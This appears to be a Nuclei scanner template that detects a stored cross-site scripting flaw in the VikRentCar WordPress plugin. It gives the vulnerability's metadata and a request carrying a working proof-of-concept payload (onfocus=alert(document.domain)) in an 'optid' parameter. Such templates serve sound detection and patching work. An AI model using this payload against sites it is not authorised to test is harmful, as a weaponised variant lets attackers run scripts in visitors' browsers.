id: CVE-2026-116548 info: name: VikRentCar <= 1.4.10 - Cross-Site Scripting author: DhiyaneshDk severity: high description: | The VikRentCar Car Rental Management System plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'optionals' parameter in all versions up to, and including, 1.4.10 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. impact: | Unauthenticated attackers can inject scripts that execute in users' browsers, potentially stealing data or performing actions on behalf of users. remediation: | Update to the latest version beyond 1.4.10. reference: - https://www.wordfence.com/threat-intel/vulnerabilities/id/c6813d20-ed4e-4cd0-9fe2-dd1f21683ef4 - https://nvd.nist.gov/vuln/detail/CVE-2026-116548 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cve-id: CVE-2026-116548 epss-score: 0.00524 epss-percentile: 0.44768 cwe-id: CWE-79 metadata: verified: true max-request: 2 vendor: e4j product: vikrentcar framework: wordpress tags: cve,cve2026,wordpress,wp-plugin,vikrentcar,xss,vkev variables: oid: "1" flow: http(1) && http(2) http: - raw: - | GET /rental/ HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(to_lower(body), "com_vikrentcar") || contains(to_lower(body), "/plugins/vikrentcar/")' condition: and internal: true - raw: - | GET /rental/?task=oconfirm&carid=1&days=1&pickup={{unix_time()+86400}}&release={{unix_time()+172800}}&priceid=1&place=1&returnplace=1&optid{{oid}}=1%22%20onfocus%3D%22alert(document.domain)%22%20autofocus%3D%22 HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - 'name="optionals" value="' - 'onfocus="alert(document.domain)" autofocus' condition: and - type: word part: header words: - text/html - type: status status: - 200 # digest: 4b0a00483046022100ca78bf97a372d153c2fbbad223ecf5c28129b90afc63d32bfdbb4296084e8c4c022100d0c960c30467634f0ec3a857cfcb720318135d84fb619550ef860b359509d2d8:922c64590222798bb761d5b6d8e72950